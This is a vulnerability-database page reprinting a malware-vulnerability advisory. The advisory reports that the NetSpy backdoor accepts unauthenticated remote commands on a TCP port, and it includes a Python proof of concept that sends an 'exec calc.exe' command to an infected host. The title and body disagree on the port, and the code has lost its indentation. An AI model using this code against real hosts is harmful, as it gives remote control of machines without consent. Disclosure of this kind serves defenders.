Lucene search
K

Backdoor.Win32.NetSpy.10 Remote Command Execution

🗓️ 15 Apr 2022 00:00:00Reported by malvuln, malvuln.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 542 Views

Backdoor.Win32.NetSpy.10 Remote Command Execution on TCP port 730

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/45d413b46f1d14a45e8fd36921813d62.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.NetSpy.10  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 7306. Attackers who can reach infected hosts can run commands made available by the backdoor. Sending commands using Ncat and Telnet both fail with errors, probably don't like the linefeed chars, so need to write your own custom client. Example commands avail are put, mkd, exec and msg.  
Family: NetSpy  
Type: PE32  
MD5: 45d413b46f1d14a45e8fd36921813d62  
Vuln ID: MVID-2022-0551  
Disclosure: 04/14/2022  
  
Exploit/PoC:  
from socket import *  
import time  
  
MALWARE_HOST="x.x.x.x"  
PORT=7306  
CMD="exec c:\\Windows\\system32\\calc.exe"  
  
def chk_res(s):  
res=""  
while True:  
res += s.recv(512)  
break  
if "\0" in res or "\n" in res or res == "":  
break  
return res  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
s.send(CMD)  
time.sleep(1)  
print(chk_res(s))  
s.close()  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation